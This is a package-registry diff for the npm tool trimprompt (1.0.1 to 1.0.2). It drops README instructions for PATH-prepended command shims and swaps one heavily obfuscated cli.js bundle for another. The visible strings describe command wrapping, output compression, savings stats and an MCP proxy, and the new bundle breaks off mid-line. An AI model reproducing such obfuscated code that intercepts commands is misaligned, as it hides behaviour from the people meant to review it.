trimprompt 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -22,15 +22,8 @@ Install the package globally via NPM:
22
22
  npm install -g trimprompt
23
23
  ```
24
24
 
25
- After global installation, run the initialization command to setup system shims:
26
- ```bash
27
- trim shims install
28
- ```
29
-
30
- This creates command wrapper shims (e.g. `git.cmd`, `ls.cmd`, `pytest.cmd`, etc.) inside `~/.trimprompt/shims/` and appends this folder to the beginning of your system `PATH` variable.
31
-
32
25
  > [!IMPORTANT]
33
- > Restart your active terminal window or AI editor (Cursor/Claude Code) after initialization for the new environment paths to take effect.
26
+ > Restart your active terminal window or AI editor (Cursor/Claude Code) after installation for the changes to take effect.
34
27
 
35
28
  ---
36
29
 
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';function a0_0x5a09(){const _0x13e128=['--version','default','resolve','defineProperty','[value]','false','<commandLine>','--no-merges','logExecution','\x0a=============================================','installShims','total_tokens_saved','includes','config','npx','message','--porcelain','total_compressed_tokens','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','savings_percentage','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','npm','push','--oneline','stderr','=============================================\x0a','Manage\x20local\x20configuration\x20parameters','-10','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','Install\x20or\x20uninstall\x20system\x20command\x20shims','Start\x20the\x20local\x20developer\x20dashboard','status','slice','4000','exit','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','__importStar','alias','get','10100280DRpEoQ','__createBinding','Port\x20to\x20run\x20the\x20dashboard\x20on','redaction_enabled','parse','292ClDZip','---------------------------------------------','2202LhRYkT','server-mcp','option','--branch','write','3435660nObiae','Command','mcp','config\x20parameter\x20name','\x20(after\x20Shave)','some','then','--min-parents','writable','-m,\x20--model\x20<string>','help','catch','Reduction\x20Rate:\x20\x20\x20\x20','8Cbbvas','platform','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','action','216cZeYLs','raw_cost_usd','<action>','-bs','trim','Model\x20Context:\x20\x20\x20\x20\x20','name','args','error','tracker','./shims','-sb','228521KOhcea','description','executeCommand','--format','--merges','./executor','node','log','Config\x20set\x20','command','242289qolUoQ','-p,\x20--port\x20<number>','dashboard','yadm','stats','20069sNJKpY','create','@modelcontextprotocol/','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','\x20(before\x20Shave)','value\x20to\x20set','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','every','__setModuleDefault','total_raw_tokens','exitCode','--max-count','mcp-server','rewrite','call','[server-args...]','modelcontextprotocol','argument','install','./mcp','model_name','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','Command\x20line\x20to\x20evaluate','stdout','get\x20or\x20set','cmd','git','\x20USD','version','setConfig','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','Error:\x20Value\x20required\x20for\x20set\x20action','startsWith','commander','length','true','toFixed','1324880VDQtdf','toLocaleString','11ZslELI','test','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','server','25446AJDOuV','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','pnpm','getConfig','mcp-proxy','__esModule','./dashboard','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','argv','prototype','toLowerCase','./filters','configurable'];a0_0x5a09=function(){return _0x13e128;};return a0_0x5a09();}const a0_0x3b4f82=a0_0x5f43;(function(_0x5d01d8,_0xe24cc0){const _0x33d723=a0_0x5f43,_0x56b567=_0x5d01d8();while(!![]){try{const _0x508eb9=-parseInt(_0x33d723(0x1b9))/0x1*(-parseInt(_0x33d723(0x1a9))/0x2)+-parseInt(_0x33d723(0x15c))/0x3*(parseInt(_0x33d723(0x195))/0x4)+parseInt(_0x33d723(0x156))/0x5+parseInt(_0x33d723(0x197))/0x6*(-parseInt(_0x33d723(0x1c8))/0x7)+-parseInt(_0x33d723(0x1ad))/0x8*(-parseInt(_0x33d723(0x1c3))/0x9)+-parseInt(_0x33d723(0x19c))/0xa*(parseInt(_0x33d723(0x158))/0xb)+parseInt(_0x33d723(0x190))/0xc;if(_0x508eb9===_0xe24cc0)break;else _0x56b567['push'](_0x56b567['shift']());}catch(_0x3576c6){_0x56b567['push'](_0x56b567['shift']());}}}(a0_0x5a09,0xb2e04));var __createBinding=this&&this[a0_0x3b4f82(0x191)]||(Object['create']?function(_0x28a73b,_0x3e5321,_0x3ebd23,_0x4abbbe){const _0xd42f2a=a0_0x3b4f82;if(_0x4abbbe===undefined)_0x4abbbe=_0x3ebd23;var _0x1fb1cc=Object['getOwnPropertyDescriptor'](_0x3e5321,_0x3ebd23);(!_0x1fb1cc||(_0xd42f2a(0x18f)in _0x1fb1cc?!_0x3e5321[_0xd42f2a(0x161)]:_0x1fb1cc[_0xd42f2a(0x1a4)]||_0x1fb1cc[_0xd42f2a(0x168)]))&&(_0x1fb1cc={'enumerable':!![],'get':function(){return _0x3e5321[_0x3ebd23];}}),Object['defineProperty'](_0x28a73b,_0x4abbbe,_0x1fb1cc);}:function(_0x31b545,_0x368474,_0x901bcd,_0xdc1348){if(_0xdc1348===undefined)_0xdc1348=_0x901bcd;_0x31b545[_0xdc1348]=_0x368474[_0x901bcd];}),__setModuleDefault=this&&this[a0_0x3b4f82(0x139)]||(Object[a0_0x3b4f82(0x1c9)]?function(_0x67204d,_0x22bcf1){const _0x5e7ed4=a0_0x3b4f82;Object[_0x5e7ed4(0x16c)](_0x67204d,_0x5e7ed4(0x16a),{'enumerable':!![],'value':_0x22bcf1});}:function(_0x244be3,_0x22bf11){const _0x1d307e=a0_0x3b4f82;_0x244be3[_0x1d307e(0x16a)]=_0x22bf11;}),__importStar=this&&this[a0_0x3b4f82(0x18d)]||(function(){var _0x23861b=function(_0x23a953){return _0x23861b=Object['getOwnPropertyNames']||function(_0x39314c){const _0x341627=a0_0x5f43;var _0x36d0bf=[];for(var _0x2c696a in _0x39314c)if(Object[_0x341627(0x165)]['hasOwnProperty'][_0x341627(0x13f)](_0x39314c,_0x2c696a))_0x36d0bf[_0x36d0bf[_0x341627(0x153)]]=_0x2c696a;return _0x36d0bf;},_0x23861b(_0x23a953);};return function(_0xb9b35e){const _0x4bc8db=a0_0x5f43;if(_0xb9b35e&&_0xb9b35e['__esModule'])return _0xb9b35e;var _0x4e300c={};if(_0xb9b35e!=null){for(var _0x44d40b=_0x23861b(_0xb9b35e),_0x4a376c=0x0;_0x4a376c<_0x44d40b[_0x4bc8db(0x153)];_0x4a376c++)if(_0x44d40b[_0x4a376c]!==_0x4bc8db(0x16a))__createBinding(_0x4e300c,_0xb9b35e,_0x44d40b[_0x4a376c]);}return __setModuleDefault(_0x4e300c,_0xb9b35e),_0x4e300c;};}());Object[a0_0x3b4f82(0x16c)](exports,a0_0x3b4f82(0x161),{'value':!![]});function a0_0x5f43(_0x5c6790,_0x58b60e){_0x5c6790=_0x5c6790-0x139;const _0x5a09c7=a0_0x5a09();let _0x5f43e4=_0x5a09c7[_0x5c6790];return _0x5f43e4;}const commander_1=require(a0_0x3b4f82(0x152)),executor_1=require(a0_0x3b4f82(0x1be)),filters_1=require(a0_0x3b4f82(0x167)),tracker_1=require('./tracker'),shims_1=require(a0_0x3b4f82(0x1b7)),dashboard_1=require(a0_0x3b4f82(0x162)),program=new commander_1[(a0_0x3b4f82(0x19d))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x2ca222,_0x329bcc){const _0x4165a2=a0_0x3b4f82,_0x304be7=_0x2ca222['toLowerCase']();if(_0x304be7===_0x4165a2(0x14b)||_0x304be7===_0x4165a2(0x1c6)){const _0x35284d=_0x329bcc[0x0];if(_0x35284d===_0x4165a2(0x188)){const _0xfc01c7=_0x329bcc['slice'](0x1),_0x2b87d3=_0xfc01c7[_0x4165a2(0x153)]===0x0||_0xfc01c7[_0x4165a2(0x1cf)](_0x477da4=>{const _0x12f248=_0x4165a2;return _0x477da4==='-b'||_0x477da4===_0x12f248(0x19a)||_0x477da4===_0x12f248(0x1b8)||_0x477da4===_0x12f248(0x1b0)||_0x477da4==='-s'||_0x477da4==='--short';});if(_0x2b87d3)return{'cmd':_0x2ca222,'args':['status',_0x4165a2(0x179),'-b']};}else{if(_0x35284d==='log'){const _0x4005bb=_0x329bcc[_0x4165a2(0x189)](0x1),_0x3fc825=_0x4005bb['some'](_0x3bd86b=>_0x3bd86b[_0x4165a2(0x151)](_0x4165a2(0x180))||_0x3bd86b['startsWith']('--pretty')||_0x3bd86b[_0x4165a2(0x151)](_0x4165a2(0x1bc))),_0x7caf33=_0x4005bb[_0x4165a2(0x1a1)](_0x21eec3=>_0x21eec3[_0x4165a2(0x151)]('-')&&/^\d+$/[_0x4165a2(0x159)](_0x21eec3[_0x4165a2(0x189)](0x1))||_0x21eec3==='-n'||_0x21eec3[_0x4165a2(0x151)](_0x4165a2(0x13c))),_0x56d583=[..._0x329bcc];if(!_0x3fc825){const _0x55c033=_0x4165a2(0x14f);_0x56d583['push'](process[_0x4165a2(0x1aa)]==='win32'?'\x22'+_0x55c033+'\x22':_0x55c033);}!_0x7caf33&&(_0x3fc825?_0x56d583[_0x4165a2(0x17f)]('-50'):_0x56d583[_0x4165a2(0x17f)](_0x4165a2(0x184)));const _0xaf829e=_0x4005bb[_0x4165a2(0x1a1)](_0x575eaf=>_0x575eaf===_0x4165a2(0x1bd)||_0x575eaf===_0x4165a2(0x170)||_0x575eaf[_0x4165a2(0x151)](_0x4165a2(0x1a3)));return!_0xaf829e&&!_0x7caf33&&_0x56d583[_0x4165a2(0x17f)](_0x4165a2(0x170)),{'cmd':_0x2ca222,'args':_0x56d583};}}}return{'cmd':_0x2ca222,'args':_0x329bcc};}function isMcpServerExecution(_0x444877,_0x174b33){const _0x1e280d=a0_0x3b4f82,_0x1247c1=_0x444877[_0x1e280d(0x166)](),_0x261ef2=_0x174b33['join']('\x20')['toLowerCase']();if(_0x1247c1[_0x1e280d(0x175)](_0x1e280d(0x19e))&&(_0x1247c1[_0x1e280d(0x175)](_0x1e280d(0x15b))||_0x1247c1[_0x1e280d(0x175)]('proxy')))return!![];if(_0x1247c1===_0x1e280d(0x177)||_0x1247c1===_0x1e280d(0x1bf)||_0x1247c1==='bun'||_0x1247c1===_0x1e280d(0x17e)||_0x1247c1===_0x1e280d(0x15e)||_0x1247c1==='yarn'){if(_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x1ca))||_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x141))||_0x261ef2[_0x1e280d(0x175)]('mcp-server')||_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x198)))return!![];}if(_0x174b33[_0x1e280d(0x1a1)](_0x3c7f6a=>{const _0x35de89=_0x1e280d,_0x310f95=_0x3c7f6a[_0x35de89(0x166)]();return _0x310f95['includes'](_0x35de89(0x13d))||_0x310f95['includes'](_0x35de89(0x198))||_0x310f95['includes'](_0x35de89(0x1ca))||_0x310f95===_0x35de89(0x160)||_0x310f95===_0x35de89(0x19e);}))return!![];return![];}async function runProxy(_0x47e450){const _0x26b152=a0_0x3b4f82;if(_0x47e450[_0x26b152(0x153)]===0x0){program[_0x26b152(0x1a6)]();return;}const _0x29fb17=_0x47e450[0x0],_0x42f9f4=_0x47e450['slice'](0x1),_0x51ca6d=_0x47e450['join']('\x20');if(isDisabled()){const _0x159d2d=await(0x0,executor_1[_0x26b152(0x1bb)])(_0x29fb17,_0x42f9f4);process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x159d2d[_0x26b152(0x148)]),process[_0x26b152(0x181)][_0x26b152(0x19b)](_0x159d2d[_0x26b152(0x181)]),process[_0x26b152(0x18b)](_0x159d2d[_0x26b152(0x13b)]);}if(isMcpServerExecution(_0x29fb17,_0x42f9f4)){console[_0x26b152(0x1b5)](_0x26b152(0x18c));const {runMcpProxy:_0x16e57b}=await Promise[_0x26b152(0x16b)]()[_0x26b152(0x1a2)](()=>__importStar(require(_0x26b152(0x144))));_0x16e57b(_0x29fb17,_0x42f9f4);return;}const _0xddc2d4=adjustCommandArgs(_0x29fb17,_0x42f9f4),_0x97edcf=await(0x0,executor_1[_0x26b152(0x1bb)])(_0xddc2d4[_0x26b152(0x14a)],_0xddc2d4[_0x26b152(0x1b4)]),_0x418f18=(0x0,filters_1['compressOutput'])(_0x51ca6d,_0x97edcf[_0x26b152(0x148)],_0x97edcf['stderr'],tracker_1[_0x26b152(0x1b6)][_0x26b152(0x15f)]()[_0x26b152(0x193)]),_0x15ed09=_0x97edcf[_0x26b152(0x148)]+(_0x97edcf['stderr'][_0x26b152(0x1b1)]()[_0x26b152(0x153)]>0x0?'\x0a'+_0x97edcf['stderr']:'');tracker_1[_0x26b152(0x1b6)][_0x26b152(0x171)](_0x51ca6d,_0x15ed09,_0x418f18,_0x97edcf[_0x26b152(0x13b)]),_0x97edcf[_0x26b152(0x13b)]===0x0?process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x418f18+'\x0a'):(process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x418f18+'\x0a'),_0x97edcf['stderr'][_0x26b152(0x1b1)]()['length']>0x0&&!_0x418f18['includes'](_0x97edcf[_0x26b152(0x181)][_0x26b152(0x1b1)]())&&process[_0x26b152(0x181)][_0x26b152(0x19b)](_0x97edcf[_0x26b152(0x181)]+'\x0a')),process['exit'](_0x97edcf[_0x26b152(0x13b)]);}program[a0_0x3b4f82(0x1b3)]('trim')['description'](a0_0x3b4f82(0x146))[a0_0x3b4f82(0x14d)]('1.0.0'),program['command']('ui')[a0_0x3b4f82(0x18e)](a0_0x3b4f82(0x1c5))['description'](a0_0x3b4f82(0x187))[a0_0x3b4f82(0x199)](a0_0x3b4f82(0x1c4),a0_0x3b4f82(0x192),a0_0x3b4f82(0x18a))[a0_0x3b4f82(0x1ac)](_0x5c8e63=>{const _0x1c228f=parseInt(_0x5c8e63['port'],0xa);(0x0,dashboard_1['startDashboard'])(_0x1c228f);}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x1c7))[a0_0x3b4f82(0x1ba)]('Show\x20token\x20and\x20cost\x20savings\x20summary')[a0_0x3b4f82(0x199)](a0_0x3b4f82(0x1a5),a0_0x3b4f82(0x163),'claude-3-5-sonnet')[a0_0x3b4f82(0x1ac)](_0xb72147=>{const _0x137bd0=a0_0x3b4f82,_0xa1f899=tracker_1[_0x137bd0(0x1b6)]['getStatsSummary'](_0xb72147['model']);console[_0x137bd0(0x1c0)](_0x137bd0(0x172)),console[_0x137bd0(0x1c0)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console['log']('============================================='),console[_0x137bd0(0x1c0)](_0x137bd0(0x1b2)+_0xa1f899[_0x137bd0(0x145)]),console[_0x137bd0(0x1c0)](_0x137bd0(0x1cb)+_0xa1f899[_0x137bd0(0x13a)]['toLocaleString']()),console[_0x137bd0(0x1c0)]('Compressed:\x20\x20\x20\x20\x20\x20\x20\x20'+_0xa1f899[_0x137bd0(0x17a)]['toLocaleString']()),console['log'](_0x137bd0(0x1ce)+_0xa1f899[_0x137bd0(0x174)][_0x137bd0(0x157)]()),console['log'](_0x137bd0(0x1a8)+_0xa1f899[_0x137bd0(0x17c)]+'%'),console[_0x137bd0(0x1c0)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0xa1f899[_0x137bd0(0x1ae)]['toFixed'](0x4)+_0x137bd0(0x1cc)),console[_0x137bd0(0x1c0)](_0x137bd0(0x15d)+_0xa1f899['compressed_cost_usd'][_0x137bd0(0x155)](0x4)+_0x137bd0(0x1a0)),console[_0x137bd0(0x1c0)](_0x137bd0(0x196)),console[_0x137bd0(0x1c0)](_0x137bd0(0x1ab)+_0xa1f899['money_saved_usd'][_0x137bd0(0x155)](0x4)+_0x137bd0(0x14c)),console[_0x137bd0(0x1c0)](_0x137bd0(0x182));}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x176))[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x183))[a0_0x3b4f82(0x142)]('<action>',a0_0x3b4f82(0x149))[a0_0x3b4f82(0x142)]('<key>',a0_0x3b4f82(0x19f))[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x16d),a0_0x3b4f82(0x1cd))[a0_0x3b4f82(0x1ac)]((_0x9331e0,_0x31458b,_0x36b9a8)=>{const _0x4aebcf=a0_0x3b4f82;if(_0x9331e0===_0x4aebcf(0x18f)){const _0x525131=tracker_1[_0x4aebcf(0x1b6)]['getConfig']();console[_0x4aebcf(0x1c0)](_0x31458b+':\x20'+_0x525131[_0x31458b]);}else{if(_0x9331e0==='set'){_0x36b9a8===undefined&&(console[_0x4aebcf(0x1b5)](_0x4aebcf(0x150)),process['exit'](0x1));let _0x528f8c=_0x36b9a8;if(_0x36b9a8===_0x4aebcf(0x154))_0x528f8c=!![];if(_0x36b9a8===_0x4aebcf(0x16e))_0x528f8c=![];if(/^\d+$/[_0x4aebcf(0x159)](_0x36b9a8))_0x528f8c=parseInt(_0x36b9a8,0xa);tracker_1['tracker'][_0x4aebcf(0x14e)](_0x31458b,_0x528f8c),console[_0x4aebcf(0x1c0)](_0x4aebcf(0x1c1)+_0x31458b+'\x20=\x20'+_0x36b9a8);}else console[_0x4aebcf(0x1b5)](_0x4aebcf(0x185)),process[_0x4aebcf(0x18b)](0x1);}}),program['command']('shims')[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x186))[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x1af),'install\x20or\x20uninstall')[a0_0x3b4f82(0x1ac)](_0x2a4bbb=>{const _0xcc6b77=a0_0x3b4f82;if(_0x2a4bbb===_0xcc6b77(0x143)){const _0x39a830=(0x0,shims_1[_0xcc6b77(0x173)])();console[_0xcc6b77(0x1c0)](_0x39a830['message']);}else{if(_0x2a4bbb==='uninstall'){const _0x3d9a2e=(0x0,shims_1['uninstallShims'])();console['log'](_0x3d9a2e[_0xcc6b77(0x178)]);}else console[_0xcc6b77(0x1b5)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0xcc6b77(0x18b)](0x1);}}),program['command'](a0_0x3b4f82(0x13e))[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x17b))['argument'](a0_0x3b4f82(0x16f),a0_0x3b4f82(0x147))[a0_0x3b4f82(0x1ac)](_0x19a3c5=>{const _0x14d711=a0_0x3b4f82;if(isDisabled()){console[_0x14d711(0x1c0)](_0x19a3c5);return;}const _0x347828=(0x0,filters_1['rewriteCommand'])(_0x19a3c5);console[_0x14d711(0x1c0)](_0x347828);}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x160))[a0_0x3b4f82(0x18e)](a0_0x3b4f82(0x19e))['description'](a0_0x3b4f82(0x17d))[a0_0x3b4f82(0x142)]('<server-command>','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server')[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x140),'Arguments\x20for\x20the\x20target\x20MCP\x20server')[a0_0x3b4f82(0x1ac)](async(_0x316d37,_0x2913d3)=>{const _0x11e964=a0_0x3b4f82,{runMcpProxy:_0x5e849f}=await Promise[_0x11e964(0x16b)]()[_0x11e964(0x1a2)](()=>__importStar(require('./mcp')));_0x5e849f(_0x316d37,_0x2913d3);});const args=process[a0_0x3b4f82(0x164)][a0_0x3b4f82(0x189)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x3b4f82(0x1c5),'stats',a0_0x3b4f82(0x176),'shims',a0_0x3b4f82(0x13e),'mcp-proxy','mcp',a0_0x3b4f82(0x1a6),'--help','-h',a0_0x3b4f82(0x14d),a0_0x3b4f82(0x169),'-v'];firstArg&&!subcommands['includes'](firstArg)?runProxy(args)[a0_0x3b4f82(0x1a7)](_0x4f0212=>{const _0x36ffcb=a0_0x3b4f82;console['error'](_0x36ffcb(0x15a)+_0x4f0212['message']),process[_0x36ffcb(0x18b)](0x1);}):program[a0_0x3b4f82(0x194)](process[a0_0x3b4f82(0x164)]);
2
+ 'use strict';function a0_0x2805(_0x4e4a75,_0x24e687){_0x4e4a75=_0x4e4a75-0x1b5;const _0x534ee7=a0_0x534e();let _0x2805a3=_0x534ee7[_0x4e4a75];return _0x2805a3;}const a0_0x392b81=a0_0x2805;(function(_0x534f9f,_0x2722d1){const _0x19e46c=a0_0x2805,_0x4bdb88=_0x534f9f();while(!![]){try{const _0x49b6d2=parseInt(_0x19e46c(0x23a))/0x1*(-parseInt(_0x19e46c(0x21e))/0x2)+-parseInt(_0x19e46c(0x23b))/0x3+parseInt(_0x19e46c(0x218))/0x4*(parseInt(_0x19e46c(0x24b))/0x5)+parseInt(_0x19e46c(0x1b6))/0x6+parseInt(_0x19e46c(0x255))/0x7+parseInt(_0x19e46c(0x223))/0x8*(parseInt(_0x19e46c(0x1d4))/0x9)+parseInt(_0x19e46c(0x1cf))/0xa*(-parseInt(_0x19e46c(0x252))/0xb);if(_0x49b6d2===_0x2722d1)break;else _0x4bdb88['push'](_0x4bdb88['shift']());}catch(_0x6d971f){_0x4bdb88['push'](_0x4bdb88['shift']());}}}(a0_0x534e,0xe3655));var __createBinding=this&&this[a0_0x392b81(0x1ca)]||(Object['create']?function(_0xc2bfb9,_0x473778,_0x3cb4e5,_0x3f2dcb){const _0x1d670d=a0_0x392b81;if(_0x3f2dcb===undefined)_0x3f2dcb=_0x3cb4e5;var _0x116fda=Object[_0x1d670d(0x244)](_0x473778,_0x3cb4e5);(!_0x116fda||(_0x1d670d(0x1e8)in _0x116fda?!_0x473778['__esModule']:_0x116fda[_0x1d670d(0x1be)]||_0x116fda['configurable']))&&(_0x116fda={'enumerable':!![],'get':function(){return _0x473778[_0x3cb4e5];}}),Object[_0x1d670d(0x1f4)](_0xc2bfb9,_0x3f2dcb,_0x116fda);}:function(_0x28841c,_0x2272bf,_0x1736d4,_0x26ade1){if(_0x26ade1===undefined)_0x26ade1=_0x1736d4;_0x28841c[_0x26ade1]=_0x2272bf[_0x1736d4];}),__setModuleDefault=this&&this[a0_0x392b81(0x1dd)]||(Object[a0_0x392b81(0x238)]?function(_0x5409c0,_0x4af604){const _0x420015=a0_0x392b81;Object[_0x420015(0x1f4)](_0x5409c0,_0x420015(0x1f8),{'enumerable':!![],'value':_0x4af604});}:function(_0x22c1a2,_0x10e527){_0x22c1a2['default']=_0x10e527;}),__importStar=this&&this[a0_0x392b81(0x1d0)]||(function(){var _0x42a412=function(_0x4eb6ce){const _0x57486b=a0_0x2805;return _0x42a412=Object[_0x57486b(0x220)]||function(_0x1b0374){const _0x296808=_0x57486b;var _0x1d2651=[];for(var _0x4a9d6d in _0x1b0374)if(Object[_0x296808(0x1c8)][_0x296808(0x1dc)][_0x296808(0x20d)](_0x1b0374,_0x4a9d6d))_0x1d2651[_0x1d2651[_0x296808(0x1eb)]]=_0x4a9d6d;return _0x1d2651;},_0x42a412(_0x4eb6ce);};return function(_0x1c1264){const _0x228aed=a0_0x2805;if(_0x1c1264&&_0x1c1264[_0x228aed(0x1c4)])return _0x1c1264;var _0x1673f0={};if(_0x1c1264!=null){for(var _0x3d804f=_0x42a412(_0x1c1264),_0x788c4d=0x0;_0x788c4d<_0x3d804f[_0x228aed(0x1eb)];_0x788c4d++)if(_0x3d804f[_0x788c4d]!==_0x228aed(0x1f8))__createBinding(_0x1673f0,_0x1c1264,_0x3d804f[_0x788c4d]);}return __setModuleDefault(_0x1673f0,_0x1c1264),_0x1673f0;};}());Object[a0_0x392b81(0x1f4)](exports,a0_0x392b81(0x1c4),{'value':!![]});const commander_1=require(a0_0x392b81(0x1fa)),executor_1=require(a0_0x392b81(0x209)),filters_1=require(a0_0x392b81(0x254)),tracker_1=require('./tracker'),shims_1=require(a0_0x392b81(0x1ee)),dashboard_1=require(a0_0x392b81(0x216)),program=new commander_1[(a0_0x392b81(0x1cd))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x30a047,_0x569214){const _0xca2273=a0_0x392b81,_0x4b377d=_0x30a047[_0xca2273(0x1c7)]();if(_0x4b377d==='git'||_0x4b377d==='yadm'){const _0xcad4f=_0x569214[0x0];if(_0xcad4f==='status'){const _0x2700f1=_0x569214[_0xca2273(0x231)](0x1),_0x429567=_0x2700f1['length']===0x0||_0x2700f1[_0xca2273(0x1d8)](_0x19b84e=>{const _0x539012=_0xca2273;return _0x19b84e==='-b'||_0x19b84e===_0x539012(0x215)||_0x19b84e===_0x539012(0x22a)||_0x19b84e===_0x539012(0x235)||_0x19b84e==='-s'||_0x19b84e===_0x539012(0x20a);});if(_0x429567)return{'cmd':_0x30a047,'args':[_0xca2273(0x251),_0xca2273(0x248),'-b']};}else{if(_0xcad4f===_0xca2273(0x1f0)){const _0x22730e=_0x569214[_0xca2273(0x231)](0x1),_0x2148b5=_0x22730e[_0xca2273(0x1c3)](_0x2ad408=>_0x2ad408[_0xca2273(0x208)](_0xca2273(0x1b9))||_0x2ad408['startsWith'](_0xca2273(0x241))||_0x2ad408[_0xca2273(0x208)](_0xca2273(0x214))),_0x46bf36=_0x22730e[_0xca2273(0x1c3)](_0x5059f0=>_0x5059f0[_0xca2273(0x208)]('-')&&/^\d+$/[_0xca2273(0x24e)](_0x5059f0[_0xca2273(0x231)](0x1))||_0x5059f0==='-n'||_0x5059f0[_0xca2273(0x208)](_0xca2273(0x224))),_0xbe3a34=[..._0x569214];if(!_0x2148b5){const _0x538350='--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---';_0xbe3a34['push'](process[_0xca2273(0x1bf)]===_0xca2273(0x20f)?'\x22'+_0x538350+'\x22':_0x538350);}!_0x46bf36&&(_0x2148b5?_0xbe3a34[_0xca2273(0x239)](_0xca2273(0x1bd)):_0xbe3a34[_0xca2273(0x239)]('-10'));const _0x40a711=_0x22730e[_0xca2273(0x1c3)](_0x11b9ad=>_0x11b9ad===_0xca2273(0x1e0)||_0x11b9ad===_0xca2273(0x237)||_0x11b9ad['startsWith']('--min-parents'));return!_0x40a711&&!_0x46bf36&&_0xbe3a34['push'](_0xca2273(0x237)),{'cmd':_0x30a047,'args':_0xbe3a34};}}}return{'cmd':_0x30a047,'args':_0x569214};}function isMcpServerExecution(_0x7a49ad,_0x3dfd28){const _0x54c473=a0_0x392b81,_0x150131=_0x7a49ad[_0x54c473(0x1c7)](),_0x3e83ea=_0x3dfd28[_0x54c473(0x217)]('\x20')[_0x54c473(0x1c7)]();if(_0x150131['includes']('mcp')&&(_0x150131[_0x54c473(0x1c0)](_0x54c473(0x1d3))||_0x150131['includes'](_0x54c473(0x1f5))))return!![];if(_0x150131===_0x54c473(0x1d6)||_0x150131===_0x54c473(0x1e9)||_0x150131===_0x54c473(0x226)||_0x150131==='npm'||_0x150131===_0x54c473(0x1d2)||_0x150131===_0x54c473(0x22f)){if(_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1fd))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1d1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1f1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x221)))return!![];}if(_0x3dfd28[_0x54c473(0x1c3)](_0x2a66d0=>{const _0x3e3a25=_0x54c473,_0xa4a65b=_0x2a66d0[_0x3e3a25(0x1c7)]();return _0xa4a65b[_0x3e3a25(0x1c0)](_0x3e3a25(0x1f1))||_0xa4a65b[_0x3e3a25(0x1c0)]('server-mcp')||_0xa4a65b['includes'](_0x3e3a25(0x1fd))||_0xa4a65b===_0x3e3a25(0x1c2)||_0xa4a65b===_0x3e3a25(0x233);}))return!![];return![];}async function runProxy(_0x5c32b6){const _0x262e3b=a0_0x392b81;if(_0x5c32b6[_0x262e3b(0x1eb)]===0x0){program[_0x262e3b(0x24a)]();return;}const _0x4ddbdf=_0x5c32b6[0x0],_0x1add13=_0x5c32b6[_0x262e3b(0x231)](0x1),_0x3352ea=_0x5c32b6[_0x262e3b(0x217)]('\x20');if(isDisabled()){const _0x31f0c5=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x4ddbdf,_0x1add13);process['stdout']['write'](_0x31f0c5['stdout']),process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0x31f0c5[_0x262e3b(0x240)]),process['exit'](_0x31f0c5[_0x262e3b(0x236)]);}if(isMcpServerExecution(_0x4ddbdf,_0x1add13)){console[_0x262e3b(0x1ce)](_0x262e3b(0x1ec));const {runMcpProxy:_0x51c931}=await Promise[_0x262e3b(0x1c9)]()['then'](()=>__importStar(require(_0x262e3b(0x21f))));_0x51c931(_0x4ddbdf,_0x1add13);return;}const 